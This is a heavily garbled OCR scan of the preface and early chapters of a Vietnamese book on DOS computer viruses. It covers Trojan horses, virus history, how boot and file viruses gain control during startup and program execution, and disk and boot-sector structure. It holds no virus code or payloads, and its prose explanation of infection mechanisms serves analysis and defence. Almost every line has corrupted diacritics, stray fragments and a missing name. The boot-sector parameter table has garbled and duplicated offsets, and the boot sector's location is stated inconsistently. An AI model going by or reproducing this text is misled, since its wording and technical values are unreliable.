


LOI NOI PAU

Mic du virus tin hoc da xuét hién lau trén thé gidi va & ca trong nude. Va khong ai con ngac
nhién nita n€u bi€t may tinh cia minh da bi nhiém virus. Thé nhung, thuc ddng ngac nhién vi
hau nhu chura c6 mot cuén sdch nao dé cap dén virus mot cach ddy du va chi tiét. Su thi€u ving
thong tin nay khong phai 1a vo tinh ma do nhitng quan niém cho ring phd bién nhitng thong tin
nhu vay khong nhitng khong duoc 1gi ich gi ma con lam gia tang s6 lugng virus 1én, va nhu thé
lam tang nguy co mat mat dit liéu. Xét vé khia canh ndy, cidc nha san xudt phdn mém chong
virus ciing rat dong tinh.

Chinh sy thi€u hiéu biét thuc sy ... gid tao vé virus cling véi su théi phong qué dang clia béo chi
da bién virus tin hoc bé nhd thanh mot con ‘ngodo op’ khéng 16 1am kinh hoang cho nhiing
ngudi st dung toi nghiép khi may cua ho bi mot hién tugng nao dé ma nghi ngo 1a virus. Céi
gid phai tra cho su thiéu hiéu biét nay doéi khi lai qua to 16n, mot su sai léch dit liéu do 16i logic
clia chuong trinh c6 thé gidn doan vai ngay dé backup dit liéu va format lai dia, mot file tu
nhién tang kich thu6c cling gay hoang mang. D6 1a chua ké dén sy dd 16i cho virus tin hoc su
thi€u hiéu biét clia minh.

Mt khdc, mot virus tin hoc ding nghia 1a mot virus ¢6 kich thuée chuong trinh cuc nhd va
trong d6 bao gém chiic nang khé khin nén doi hoi virus duge thiét k€ truc ti€p biang ngon ngit
Assembler va bao ham nhiing giai thuat t6i uu va ki thuat cao, néu xét trén mot khia canh nao
dé rat dang cho ching ta hoc tap.

Chinh vi nhitng 1i do d6, cudn sdch nay ra doi nhidm cung cap cho doc gia nhitng thong tin can
thiét vi ding dan vé virus, tir d6 c6 thé riit ra nhitng bai hoc bé ich va cin thiét trong viéc phat
hién va ctru chita cdc hau qua ma virus gay ra.

Du duogc soan véi nhiing thong tin rat co ban, cudn sdch nay van doi hoi doc gia phai c6 mot
kién thitc can ban vé Assembler (vi chinh virus ciing duogc thiét k& bing ngéon ngit nay) dé c6
thé hiéu va phan tich virus mot céch ti mi nhét.

Té4c gia khong bao gid' c6 muc dich huéng din doc gid mot phuong phdp dé thiét k& mot virus,
va t6t nhat ban doc ciing dimg bao gid ¢6 ¥y dinh nay vi chinh cdc ban s& 1a nhiing nan nhan dau
tién cua nd va s& ganh chiu moi hau quéa do né gay ra.

Céc virus dugc khao sit trong cudn sich nay tét ca l1a nhitng virus da biét trong thanh phd ciing
nhu trén th€ gidi, trong d6, so virus dugc biét trong nude ciing di chi€m gin phan nira.

Xin cam on su gidp d& qui bdu clia cdc dong nghiép trong viéc hiéu chinh va déng gép nhiéu y
kién hay cho cu6n sdch. Vi day 1a 14n xudt ban ddu tién, chic chin cu6n sich s& con nhiéu diéu
thi€u sét, tac gia mong nhan dugc nhiéu y ki€n dong gdp cua doc gia.

Dia chi lién lac tdc gia:
Ngo6 Anh Vil
Trung tam CESAIS
Ban tin hoc
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GIOI THIEU TONG QUAT VE VIRUS TIN HOC

I - Virus Tin Hoc va Trojan Horse.

Luat phdp ting nudc van con ¢6 chd khong dong nhat, ¢ nudc da chap nhan bao vé ban
quyén cdc phan mém, nhung c6 nhitng nudc lai khong dé cap mot cach 16 rang dén van dé
nay. Cling v6i su phét trién nhu vii bdo clia phan ciing, ki thuat sao chép ciing dat dén trinh do
cao. Nhitng phdn mém sao chép nhu COPYIIPC, COPYWRIT ... cho phép tao mot dia méi c6
moi thanh phan giong nhu dia g6c da 1am thiét hai dang ké cho cdc hang san xuét phan mém.
Logi dung ké & luat phép cua cdc nuGc, mot s6 noi di xuét hién nhiing tay ‘cuép’ phan mém
chuyén nghiép. Nhitng phdn mém vira dugc dua ra thi trudng ngay hom trude thi 1ap tidc né bi
phé khéa (khéa & day duoc hiéu nhu mot ma dugc dua vao khi thi hanh chuong trinh, mot dia
goc...), copy lai, tham chi con stra ddi ca tén tac gia, r6i tung ra thi trudng véi gid ré chua timng
co.

Nhitng hanh dong vo dao dic nay 1a mot thach thiic d6i véi cdc nha san xuét phan mém, do
d6, y tudng dua mot doan ma phd hoai (destructive code) vao trong phan mém vGi muc dich s&
pha hiy dit lieu néu phan mém nay khong nam trén dia g6c khong phai la y tudng gi méi la.
Nhung viéc gifu mot doan ma nhu thé nao va ban chat ctia doan ma ra sao thi lai ty thuoc vao
nha san xuat vi khong mot ai thira nhan (tat nhién, ké ca nhitng nha san xudt ra né) ciing nhu
ching kién diéu nay ca.

Mat khdc, tin hoc dd va dang trd thanh phé cap cho toan thé gidi, nhitng ciu tric noi tai,
nhiing Ki thuét 1ap trinh déu dugc huéng dan ti mi va nghiém tic dang ti€p can ting ngudi va
cu thé 1a véi tang 16p thanh nién. Vi ddy du kién thic va tinh hi€u thang, dua tai cta tudi tré,
mot tu tudng ndi loan hay su tu khing dinh minh qua nhitng chuong trinh mang tinh chat ph4
hoai déu c6 thé gay nguy hiém va thuc t€ cling khong it vi du ching minh cho diéu nay.

Cin ct vao tinh chat ctia doan ma ph4 hoai, ta c6 thé chia ching thanh hai loai: virus va trojan
horse.

1/ Trojan horse:

Thuat ngit nay dua vao mot dién tich cd, chi nhitng doan ma duoc ‘cim’ vao bén trong
mot phan mém, cho phép xuat hién va ra tay phd hoai mot cach bat ngd nhu nhitng ‘anh hiing’
xong ra tir bung con ngua thanh Troa. Trojan horse la mot doan ma HOAN TOAN KHONG
CO TINH CHAT LAY LAN, chi nim trong nhiing phdn mém nht dinh. Doan ma nay s& pha
hoai vao mot thoi diém x4c dinh c6 thé dugc tac gid dinh truéc va doi tugng cua ching 1a
thong tin trén dia nhu format lai dia, x6a FAT, Root....

Thong thudng cdc phan mém c6 chita Trojan horse dugc phan phéi nhu 12 cdc version bé sung,
hay méi, va diéu nay sé trimg phat nhitng ngudi thich sao chép phan mém & nhiing noi ¢6
nguoén goc khong xdc dinh.

Tuy nhién d6i v6i hién tugng nay, & Viét nam néi chung va thanh phd ta chua xuét hién. Va
ciing dé thay tdim hoat dong va miic pha hoai khi hoat dong trén cdc mdy don s& vo cling han
ché.

2/ Virus tin hoc:

Thuat ngit ndy nhiam chi mot chuong trinh mdy tich c¢6 thé tu sao chép chinh né 1én nhiing dia,
file khdc ma ngudi st dung khong hay biét. Thong thuong virus cling mang tinh pha hoai, né
s& gay ra 161 thi hanh, léch lac hay hiy dit liéu....
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So v6i Trojan horse, virus mang tdm véc ‘vi dai’ hon, su lan truyén xa hon va do d6 tdc hai cua
n6 vo ciing khiing khiép hon. O thanh phd, virus da xuét hién khd s6m va ciing da gay nhiéu
tac hai v6i uu thé clia virus so v6i Trojan horse. O day , mot bai bdo nhan dé “Li thuyét va co
cu cuia cdc phan tir tu hanh phiic tap “(Theory and Organization of Complicated Automata).
Trong bai bdo clia minh, 6ng da néu ra Ii thuyét vé su tu nhan 1én nhiéu 14n cta céc chuong
trinh mdy tinh. Nhitng déng nghiép clia 6ng da dé biu nhi€u vé ¥ tudng nay nhung diéu nay
ciing dé hiéu vi nhitng chiéc may tinh dién tir diu tién (electronic computer) dugc phét trién
nhiéu nam sau do.

Mudi ndm sau d6, trong mot chi nhanh clia hing AT&T’s Bell, ba thdo chuong vién tré tudi da
phét trién mot tro choi tén 1a ‘Core War’, ba ngudi nay tén 1a Mc Ilroy, Victor Vysottsky va
Robert Morris, déu 1a nhiing ngudi ndm viing nhiing cau tric noi tai cia mdy.

‘Core War’ 1a mot cudc déu tri gitta hai doan ma cla hai thdo chuong vién. Méi dau thu dua
mot chuong trinh ¢6 kha nang tu tdi tao (reproducing program) goi la Organism vao trong bo
nh§ clia mdy tinh. Khi bat dau cugc choi Organism, méi dau thi sé ¢d ging phd hilly organism
clia doi phuong va tdi tao organism clia minh. Dau thl thing cudc 1a ddu thl phét trién nhiéu
lan co cdu ctia minh.

Trd choi ‘Core War’ nay dugc giit kin cho dén nam 1983, Ken Thompson, mot tay choi 16i lac
di viét version dau cho hé diéu hainh UNIX, dé 16 ra khi nhan mot trong nhitng phan thudng
danh du cua giGi ky nghé dién tir - Giai thudng A.M Turing. Trong bai dién van clia minh, ong
da dua ra mot y tudng vé phuong phdp 1am virus. Thompson ciing dé cap dén Core War va sau
d6 tiép tuc khuyén khich thinh gia ciia minh hay lam thi!

Thang 5/1984 t& bdo Scientific America cé ding mot bai bdo mo ta vé Core War va cung cdp
cho doc gia co hoi mua nhiing 10i huéng dén vé trd choi nay - né dugc gdi dén tan nha véi gid
2 USD cu6c phi buu dién!

Pau tién, virus tin hoc di bat dau trén cdc mdy 16n nhuw CREEPER (1970, RABBIT (1974),
ANIMAL (1980).... Sau d6 méi bit ddu xudt hién trén mdy PC. D3 ¢6 mot s6 tai liéu cho ring
virus tin hoc trén PC bat dau tir nam 1987, tuy nhién diéu ndy ciing khong duge chic chan khi
virus Brain ‘thong bdo’ né dugc ra doi tir nam 1986!

Virus ddu tién trén mdy IBM PC dugc phét hién va nhanh chéng trd nén ndi tiéng la Lehigh
virus (vi né xuét hién ddu tién & trudng Dai hoc nay) vao trude 1€ Ta on nam 1987. Cing thoi
v6i virus ndy, mot virus khac am tham dé bo tir Pakistan vao Mi 13 Brain véi muc tiéu dau tién
la trudong Dai hoc Delaware. Mot noi khéc trén thé€ gidi cling da tudong thuat su xuét hién cua
virus: Pai hoc Hebrew - Israel. Tat cd déu c6 chung mot diém: tir cic trudng Pai hoc, noi c6
cédc sinh vién gioi, hi€u dong va thich dua.

Mic di xuét hién & nhiéu noi trén thé gii, virus vin cé chung mot phuong phdp lay lan, vi
khong ndm 16 cdch thiic nay, mot s6 ngudi da cam thay hot hoang khi da diét bang moi céch,
may tinh van ct bi nhiém di nhiém lai mot virus.

Du vay, van phai c6 mot phan loai nao d6 chi ti€t hon vé virus, Iam cho né dé kiém sodt va dua
ra phuong phap chita tri thich hgp. Do d6, nguoi ta da chia virus thanh hai loai chinh céan cit
theo cdch lay va d6i tugng 1ay. Ta s& khao sat 1an luot ting d6i tugng mot.

III - Cach Thitc Lay - Phan Loai.

Dua vao do6i tugng 14y lan 1a file hay dia, ta chia virus thanh hai nhém chinh:

+ B - virus (boot virus): virus chi tdn cong lén cdc Boot sector hay Master boot.

+ F - virus (file virus): virus chi tan cong 1én cic file thi hanh dugc (dang c6 thé thi hanh
bang chic nang 4Bh ctia DOS hon 1a nhiing file dang .COM hay .EXE).



Du vay, cdch phan chia nay ciing khong phai 1a duy nhat, ma ciing khong hén chinh xdc. Vi
sau nay, cac F - virus van ph4d hoai hay chén ma phé hoai vao Boot sector, cling nhu B - virus
chén doan ma vao file. Tuy nhién, nhiing hién tugng ndy chi nhdm ph4 hoai chit khong coi d6
1a d6i tuong dé lay lan. Dang téng qudt clia mot virus ¢6 thé biéu dién bang so do sau:

= 7=

Lay %

Nhu di gidi thiéu vé dinh nghia virus, doan ma nay mot lic ndo d6 phai duoc trao quyén diéu
khién. Nhu vay, rd rang virus phai khai thaic mot ché hd ndo d6 ma mdy ‘tw nguyén’ trao
quyén diéu khién lai cho né. Thuc t€ c¢6 hai k& hé nhu thé, ma ta s& 1an luot xét sau day:

1/ B - virus:

Khi mdy tinh bat ddu khoi dong (Power on), moi thanh ghi cia CPU s& dugc x6a, cdc thanh
ghi phan doan (segment) dugc gén gia tri OFFFFh, con tat ca cdc thanh ghi con lai déu duge
x6a vé 0. Liic nay CS:IP di nhién sé trd6 dén OFFFFh:0. Tai dia chi nay 1a mot 1énh JMP FAR
chuyén quyén diéu khién dén mot doan chuong trinh dinh sin trong ROM, doan chuong trinh
ndy sé thuc hién qué trinh POST (Power On Seft Test: tu kiém tra khi khéi dong).

Qua trinh POST s& lan luot kiém tra cdc thanh ghi, kiém tra bo nhé, khéi tao céc chip diéu
khién DMA, bo diéu khién ngit, dia....Néu qud trinh nay hoan thanh t6t dep, cong viéc tiép
theo s& do tim cdc card thiét bi gin thém vao (thudng cdc thiét bi ndy 1 card diéu khién dia
cling hay man hinh) va trao quyén diéu khién dé cho ching tu khdi tao r6i sau dé 14y lai khi
card hoan thanh xong phan khdi tao. Tuy vay ciing phai chd ¥: toan bo doan chuong trinh nay
niam ngay trong ROM, c6 tinh chat Chi Poc nén khong thé sita ddi cling nhu chén bat ki mot
doan ma chuong trinh khac vao dugc.

Sau khi moi viéc khdi tao déu hoan thanh t6t dep, ldc nay doan chuong trinh trong ROM mdi
tién hanh doc Boot sector tr dia vat 1i ddu tién (1a dia A) vao trong RAM tai dia chi 0:07C00h
(Boot sector 1a sector ddu tién trén dia ndm & sector 1, head 0, track 0). Néu viéc doc khong
thanh cong, (khong c6 dia trong 6 dia...) Boot Master clia dia ciing s& dugc doc vao (néu c6 dia
cing). Gia sir viéc doc da thanh cong, quyén diéu khién s& dugc trao cho doan mi nim trong
Boot record bing mot 1énh JMP FAR 0:07C00 ma khong cén biét doan ma nay lam gi. Nhu
vay, dén lic nay bat ké trong Boot record chita doan ma nao, quyén diéu khién van dugc trao
va néu doan ma dé lai ti€n hanh format lai dia!. RS rang, day 1a mot k& hd ddu tién ma may
méc phéi. Nhung diéu nay ciing dé& hiéu vi PC khong thé kiém tra dugc doan ma trong Boot
record - tng v6i moi hé diéu hanh, hodc ngay ca céc version khdc nhau - doan ma nay ciing
khdc nhau. Néu tu kiém diém lai minh, ban s& khong khoi giat minh vi s6 lan dé quén dia
mém trong & dia ciing khong phai 1a it.

Tuy vay, cling cdn may maén 12 ....doan ma trong Boot record lai hoan toan trong sach, nghia Ia
n6 dugc format dudi hé diéu hanh hién hanh va hon nita chua c6 ai sira déi, thay thé doan ma
nay ca.

Lic nay, doan ma s& do tim, va néu ¢6 sé tai 2 file hé théng vao ving nhé (néu 1a hé diéu hanh
MS-DOS, 2 file nay s& c6 tén 10.SYS va MSDOS.SYS) réi mot 1an nita trao quyén diéu khién.
Lic nay, CONFIG.SYS (néu c6) s€ dugc doc vao va tién hanh khdi tao cac device driver, dinh
buffer file cho céc file.... cudi cing COMMAND.COM s& dugc goi (néu khong c6 1énh
SHELL trong CONFIG.SYS) dé roi ddu nhic A:\> quen thudc xuat hién trén man hinh.

Logi dung ké hd dau tién nay, B - virus s€ tdn cong vao Boot sector, nghia 1a né sé thay mot
Boot sector chudn bing mot doan ma virus, quyén diéu khién ldc nay s& duogc trao cho virus

6
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tru6e khi Boot record nhan quyén diéu khién roi sau d6 moi chuyén van tién hanh mot cich
binh thudng cho dén khi...

Do dic diém lén trudc ca hé diéu hanh, virus phai ty 1am hét moi chuyén. Va vi vay diéu nay
ciing khong phai 1a d& dang vé6i mot kich thu6ce chuong trinh nhd bé (néu khong tin ban c6 thé
thir dinh vi va phan tich FAT ma khong diing dén bat ki mot thong tin nao tir DOS xem)

2/ F - virus:

Sau khi COMMAND.COM duoc goi, lic nay n6 s& tim file AUTO.EXEC.BAT dé thi hanh
(néu c6) va sau cting dau nhic s& xuat hién dé chd nhan lénh. Tat nhién khong ai diing nhitng
lénh noi tri ctia DOS dé thi hanh (trir nhitng ngudi bat diu hoc hé diéu hanh DOS). Thong
thuong, ngudi ta s& thi hanh mot file ndo d6. Pon gian nhét 12 anh ta mudn thi hanh phdn mém
Foxbase ching han bing cdch danh tén Mfoxplus & d&u nhéc doi 1énh ctia DOS va bdm phim
Enter. Lic nay DOS s& tim mot file ¢6 tén Mfoxplus.EXE. May maén thay file nay da dugc tim
thdy, DOS bét ddu t6 chic lai ving nhd, tai né 1én 16i trao quyén diéu khién ma khong mot
chiit ban khoan xem né dinh 1am cdi gi va c6 nguy hiém khong?

May thay, k& h¢ thit hai nay ciing bi bd qua ma khong mot ai gay phién phiic gi. Sau khi thi
hanh xong anh ta c6 thé tr& vé dau nhac clia hé diéu hanh mot céch an toan.

Thuc chat, k& h& thit hai nay ciing duoc virus tan dung. Diéu gi s& xay ra néu quyén diéu khién
thay vi duoc trao cho file lai r€ nhanh sang cho mot ké la mat song ‘ki sinh’ 1én file? Diéu nay
chi ¢6... virus méi biét dugc va tat nhién sau d6, khi két qua pha hoai cling da rd rang thi
nguoi su dung ciing... biét.

0i tai cuia hé diéu hanh ma ta chua duoc biét.
Qui udc:

+ Céc s6 trong cudn sach ndy dugc ngam hiéu duédi dang thap luc hon Ia thap phan néu
khong ghi rd dang.

+ Céc chuong trinh virus dugc minh hoa hau hét dugc Unassembler bing phan mém D68.



piA - SO LUQC VE PiA

Chuong nay khong nhim muc dich khdo sat tudng tan timg cau tric vat I ciing nhu logic ma
chi don gidn nham cung cap cho doc gia mot s6 thong tin that can thiét, tién cho viéc phéan tich
B-virus trong chuong tiép theo. Du vay, vin ¢6 mot s6 thong tin bd ich cho viéc tham khéo.

I - Cau Tric Vat Li.

CAu tric dia - du vat If hay logic, trong thuc t€ it duoc ai dé cap dén vi mic do phic tap, nhat
la dia cting. Tuy nhién, nhitng khai niém co ban nhat lai vo cting don gian.

Cic loai dia (ca dia cting 14n dia mém) déu dua vao hién tuong tir héa dé chita dit lieu: diu tir
doc ghi s& tir héa nhitng phan tir cuc nho trén bé mat, mdi phan tir di chuyén qua diu tir s& bi
tir héa. Do hinh dang ban ddu cta dia 1a hinh tron nén nhiéu nguoi 1am tudng day 1a hinh dang
bat budc, thuc ra, ban c6 thé tao ra mot dia v6i hinh dang bat ki, mién sao ton tai mot 6 dia cho
phép ban truy xuét nhitng thong tin trén do.

Khéc véi trén bang tlr, trén dia chiing ta s& ghi dit liéu duéi dang roi rac (hodc s€ mang gid tri
t6i da 12 1 hodc mang gi4 tri t6i thiéu 14 0) . C4ch thé hién nhu thé duoc goi la digital.

Chiing ta s& bat ddu v6i khéi niém Track.

1/ Track: Néu ban dat mot cay bit cho 1én mot dia hdt dang xoay. Pudng bt chi sé tao trén
thanh dia mot hinh tron. Va ban ci viéc coi ring dia 1a mot dia mém, con du but chi 1a dau tir
doc ghi. Pudng do cay biit chi tao nén bay gid ¢6 tén 1a Track. Do mot Track chi 12 mot hinh
tron chiém mot phan rat nhod, nén trén mot dia, ta ¢ thé tao nén nhiéu hinh tron déng tam dé
¢6 dugc nhiéu Track.

2/ Side: Bit mot dia mém ndo ciing ¢6 hai mat (Side), do d6, khong ai bét buoc chiing ta phai
str dung mot mat dia (méc du DOS da 1am diéu nay, nhung sau d6, né ciing sira sai). Ghi di
liu 1én ca hai mat dia rd rang mang lai tinh king t&€ hon vi kha chita dit liéu cta dia tang 1én
gdp doi ma khong can ton thém mot & dia thi hai. Don gian 14 dat thém mot dau doc thit hai &
phia bén kia dé tao thanh mot ‘gong kim’. Hai mat duoc ddnh s6 14n lugt 1a mat 1 va mat 0.

3/ Cylinder: R3 rang, mot thuan lgi thit hai ctia dia hai mat: dit liéu c6 thé ghi hai ldn nhanh
hon truéc khi dau doc chuyén sang Track mdi. Dit liéu dau tién c6 thé ghi lén Track clia mat
bén nay réi sau dé cting mot Track nhu thé nhung & mat bén kia, cudi cung méi chuyén sang
Track khac. Mot cap Track ndm d6i xding nhu th€ duge tham chi€u dén nhu mot phan tir duy
nhit Cylinder.

Pé thuan loi cho viéc tham chiéu, Track va Cylinder dugc dénh s6. Track & ngoai cling duoc
déanh s6 1a Track 0. Track & mat trén ngoai cung la Track 0, Side 0; Track & mat dudi 1a Track
0 Side 1. Nhitng Track 0 nhu th€ dugc goi chung 1a Cylinder 0. Ban chéc da ting nghe néi dia
mém 360 Kb, nhiing dia mém loai nhu th€ ¢6 80 Track dugc danh s6 tir O dén 79. Thong
thudng, viéc dénh s6 trén mdy tinh bat ddu tir 0 hon 1a tir 1, song van c6 ngoai I¢ khi Sector bt
ddu ddnh s6 tir 1 va Cluster dugc danh s6 bat ddu tir 2 ma ching ra s& xét sau.

Déi v6i dia ciing, mot mo hinh don gidn 12 cdc dia mém duoc x€p song song vdi nhau
thanh hinh try. Pia trén ciing 1a Side 0, ddy cla né 1a Side 1 dia thit hai c6 hai mat 14n luot 1a
Side 2 va 3.... Tap hgp nhiing track 0 dugc tham khao dudi tén goi Cylinder 0. T4t nhién s6
ddu doc ciing s& tang theo. Khéi lugng dit liéu trén mot track trén dia ciing ciing thay déi tiy
thuoc ting may, tuy nhién, thuong tir 8Kb dén 12Kb trén mot track.
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4/ Sector: Miac du c6 thé doc/ghi dit liéu lén dia mot lic 8 dén 12 Kb, nhung trong thuc té,
khong ai ddm ding dén mot khai lugng 16n dén nhu thé. Bo diéu khién dia thudng dugc thiét
k& dé c6 thé doc va ghi mot lan chi timg phan doan ctia Track. S6 byte trong mot phan doan,
duoc goi 1a Sector, phu thudc vao phin ctiing ma clia bo diéu khién dia va vao hé diéu hanh:
céc nha thiét k&€ sé tao nhiing kich thuGc Sector khdc nhau va hé diéu hanh s& chon mot trong
nhiing kich thudc nay. Thong thuong, cac kich thude nay 1a 128, 256, va 1024 byte. D6i v6i hé
diéu hanh DOS, kich thudc duge chon 1a 512 byte cho mdi Sector véi tat ca céc loai dia.

Trén dia mém 360 Kb, mbi Track c6 thé dat t6i 10 Sector, tuy nhién, vi van dé an toan dit liéu,
DOS chi chon 9 Sector cho méi Track. Chinh vi di€u nay, s& thdy mot dia 40 Track s€ cé:
40Track * 2Side * 9Sector 8 512byte = 360 Kb.

Poi véi dia ciing, mat do Track trén mot inch c6 thé dat dén 600 Track/inch, do dé kha nang
luu trit dit kiéu cia dia cing 16n hon dia mém rat nhiéu.

Liic ndy, dé tham chiéu, khong nhiing chiing ta phai chi ra mat (Side) va Track ma con phai
chi ra s6 Sector nao trong Track d6.

5/ Panh dia chi Sector: Khi chiing ta dd dat dén Track cdn doc/ghi, 1am thé nio dé c6 thé
nhan ra Sector can tim. C6 hai cdch dé dinh vi Sector, d6 1a :

+ Danh s6 Sector bing phuong phdp ciing (Hard sectoring): Nhiing 16 déu nhau s& dugc
bam xung quanh dia vd méi 16 nhu thé€ c6 y nghia danh diu su bat ddu mot Sector. Phuong
phép nay to ra khong con hiéu nghiém khi t6c do truy xuét dia ngay cang ting.

+ Dénh s6 Sector mém (Soft sectoring): Phuong phap ndy ma héa dia chi cta Sector thanh dit
lieu cha Sector d6 va dugc gin vao truéc mdi Sector. Vi Sector duoc danh s6 tudn tu xung
quanh Track nén dia chi ciia né don gian 1a céc s6 lién ti€p xung quanh Track (nhung doi véi
mot s6 dia duge thiét k€ chong sao chép thi diéu nay khéc).

Hién nay, phuong phap danh s6 mém dugc dung rong rii. V6i phuong phép nay, trude khi dia
duogc diing, dia chi cla Sector phai dugc ghi vao Sector (qué trinh nay dugc thuc hién bang
viéc Format dia). Dia chi Sector nay thuc ra chi 12 mot phan thong tin trong dit liéu & phan dau
Sector, ngoai ra con mot s thong tin khdc ma thiét nghi rdng néu ra & day chi lam réi cho doc
gia.

6/ Format vat li: Ghi toan bo dia chi Sector, cdc thong tin khac vao phan ddu cua Sector dugc
goi 1a format vat 1i hay format & muc thdp, vi viéc nay dugc thuc hién chi bang phan ciing clia
bo diéu khién dia. Trong qué trinh format, phdn mém s& bat bo diéu khién dia tién hanh format
véi nhitng thong s6 vé kich thudc clia mot Sector ... con cong viéc con lai tu bo diéu khién dia
phéi lam.

Format vat 1i phai dugc thuc hién trude khi dia dugc dua vao st dung. Mot qua trinh doc 1ap
thit hai - format logic - cling phai dugc thuc hién ngay sau d6 truéc khi dia chudn bi chita dit
licu. O mic ndy, tiy theo c4ch té chic cua timg hé diéu hanh, né s& chia dia thanh timg ving
tuong ¢ng.

Trong thuc t€, hau nhu khong ai chd ¥ dén van dé nay vi da c6 1énh Format cia DOS. Tuy
nhién dé gidi thich cong viéc cu thé cha lénh nay thi hau nhu it ai quan tam dén. C6 thé giai
thich nhu sau :

+ V6i dia mém: mot dia cho du da dugc format 14n nao hay chua déu dugce déi xir “binh

déng “nhu nhau, nghia 12 ddu tiéen DOS sé& tién hanh forrmat vat 1f, sau d6 s& la format logic
nhim khdi tao cdc viing hé théng va dit liéu.
Dé thdy, d6i v6i mot dia da qua mot 1an format, qua trinh format vat 1i s& khong con cén thiét,
trir truong hop mudn format vat 1i, do d6 néu chi cé qué trinh format logic s€ lam giam thoi
gian format mot dia. Y tudng nay, thuc t€ da duoc cic phdn mém chuyén dung khai théc rét
ki. PCformat ctia Central point, SafeFormat ctia Norrton .... déu c¢6 nhitng option cho phép chi
dinh tac vu nay.



+ Doi v6i dia ctiing: moi dia cing trude khi dua ra thi truong déu da duge format vat 1i va
do d6 khong c6 mot 1i do nao dé format lai néu khong thdy can thi€t. D6i véi trudng hop nay,
DOS khong cén phai format vat Iy ma don gian chi tién hanh format logic. Trong trudng hop
ndy, toc do format trén dia ciing s€ rit nhanh chit khong i ach nhu trén dia mém. Sau khi da
qua format, dia ctia chiing ta gio day da san sang chira dit liéu.

II - Cau Tric Logic.

¢} phan trén, ta da c6 dé cap dén format logic, nhung lai khong dua ra mot chi tiét nao, sau day
ta s€ 1an lugt xét chi ti€t dén ching. RS rang, doi v6i mot dia ¢6 dung luong 16n, viéc quan 1i
di liéu nhu thé nao cho hiéu qué va nhanh chéng 1a mot van dé phic tap. Do d6, moi hé diéu
hanh can thiét phai té chitc cho minh mot vai ciu triic nao d6 gitp cho viéc kiém so4t dia duoc
nhanh va chinh x4c, cho biét phin nao di dung dé chita dit liéu, phdn nao con tréng .... Cach
ghi nhé nhiing cau tric nhu thé 1én dia dugc goi 1a format logic dia. Du 1a loai dia nao, DOS
van t6 chic dia thanh céc phéan sau: Boot Sector, bang FAT (file allocation table), Root
directory va phan dit liéu (ba phan ddu doi khi dugc goi dudi tén Viing hé thong).

Trén dia cing, v6i dung luong qué 16n, c6 thé chia thanh ting phin khic nhau duoc goi la
Partition, do d6 con phai thém mot phén thg 5 Partition table. Sau day, ching ta s& 1an lugt
khao sét tmg phan mot.

1/ Boot Sector: Luon chiém Sector ddu tién trén Track 0, Side 1 cua dia, tuy vay, diéu nay
ciing chi tuyét d6i ding trén cdc dia mém, con d6i véi dia cing, vi tri nay phai nhudng lai cho
Partition table.

Boot sector nay s& dugc doc vao dia chi 0:07C00 sau khi mdy thuc hién xong qud trinh POST.
Quyén diéu khién s& dugc trao lai cho doan mi nam trong Boot sector. Doan ma nay cé nhiém
vu tai cdc file hé thong vao néu cé. Ngoai ra, Boot sector con chita mot bang tham s6 quan
trong dén cdu tric dia, bang nay duogc ghi vao trong qua trinh format logic dia va ngay ca doi
v6i nhitng dia khong phai 1a dia boot duoc .

a. Cdu triic ciia bdng tham sé dia BPB (Bios Parameter Block): Bang tham s6 nay & offset OB
ctia Boot sector va c6 cau tric sau :

offset | Size Noi dung

+0 3 JMP xx:xx Lénh nhady gan dén dau doan mi boot

+3 8 Tén cong ty hay version.

+0Bh 2 SectSiz S6 byte 1 sector <--------- Start of BPB.

+DH 1 ClustSiz S6 sector moi cluster.

+Eh 2 ResSecs S6 sector danh riéng (sector trugc FAT).

+10h 1 FatCnt S6 bang FAT.

+11h 2 RootSiz S6 dau vao toi da cho Root (32 byte cho mbi ddu
Vo).

+13h 2 TotSecs Téng s6 sector trén dia (hay partition).

+15h 1 Media Media descriptor dia (giong nhu byte ddu bang
FAT.

+16h 2 FatSize S6 lugng sector cho mot bang FAT

G end of BPB .

+18h 2 TrkSecs S6 sector trén moi track.

+1Ah |2 HeadCnt S6 dau doc ghi.

+1Ch 2 HindSec S6 sector ddu mat (dugc dung trong cau tric
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partition).
+1Eh Déu doan m trong Boot sector.

+1Ch 4 HindSec S6 sector dau mat (da duoc diéu chinh 1én s6 32 bit)

+20h 4 TotSecs Tdng s6 sector trén dia néu gid tri & offset 13h bing
0.

+24h 1 PhsDsk S6 dia vat 1i (0: dia mém, 80h: dia cling)

+25h 1 Resever Danh riéng.

+26h 1 Dos4_ID Ki hiéu nhan dién ctia DOS 4.xx (c6 gid tri 29h).

+27h 4 Serial Mot s6 nhi phan 32 bit cho biét Serial number.

+2Bh Bh Volume Volume label.
+36h 8 Reserve Danh riéng.
+3Eh D4u doan ma chuong trinh.

Doi v6i DOS 4.xx, do s6 lugng sector quén 1i duge khong con ndm trong gidi han s6 16 bit, do
do gia tri trong offset 13h da trd nén ‘chat hep’. Bat dau tir DOS 4.xx, ciu tric clia bang c6
mot sd slta ddi va b xung nho nho, tuy vay, vin khong lam mét di céu tric trude d6. O day
chi c6 mot diém can luu ¥ 1a gid tri tdng s6 sector trén dia, néu so sector vin con 12 mot s 16
bit, viing & offset 13h van con ding dén, trong trudng hop nguoc lai, ving nay phai dugc gédn
12 0 va gid tri méi dugc luu giit tai offset 20h (dé thay cdc dia mém véan cé ndi dung nhu trude
day).
b. Doan ma: do Boot sector chi chi€m diing mot sector, nghia 1a chi ¢6 ding 512 byte, trir di
cho bang tham s& BPB, phan con lai vAn con qud it cho mot chuong trinh tu xoay x& lam du
moi viéc. Cdc doan ma sau duGi DOS déu lam céc cong viéc sau day:

+ Thay lai bang tham s6 dia mém (ngat 1Eh).

+ Dinh vi va doc sector ddu tién cia Root va dia chi 0:0500h.

+ Do tim va doc hai file hé thong vao néu c6.

C6 thé biéu dién bing luu do sau

Thay ngét 1Eh
DPoc sector root vao

?7SYS - > Non system disk
Nap file hé théng vao
JMP FAR 070:0

2/ FAT (file allocation table): Day 1a mot trong hai c&u tric quan trong nhét (c&u tric thit hai
12 Root) ma DOS khéi tao trong qud trinh format logic dia. Ciu tric nay ding dé quan Ii file
trén dia ciing nhu cho biét sector nao da hong. O mic nay DOS ciing dua ra mot s6 khai niém
méi :

a. Cluster: Khi dia dugc format fogic, don vi nhoé nhét trén dia ma DOS c6 thé quan If dugc 1a
sector (theo DOS tu qui dinh - kich thudc clia mot sector ciing da c¢6 dinh 1a 512 byte). Nhu
thé, DOS c6 thé quéan 1i ting sector mot xem né con diing duge hay khong. Tuy nhién, mot dia
c6 dung lugng cao (thuong 1 dia cting), s6 sector qua 16n khong thé quan I theo cich nay ma
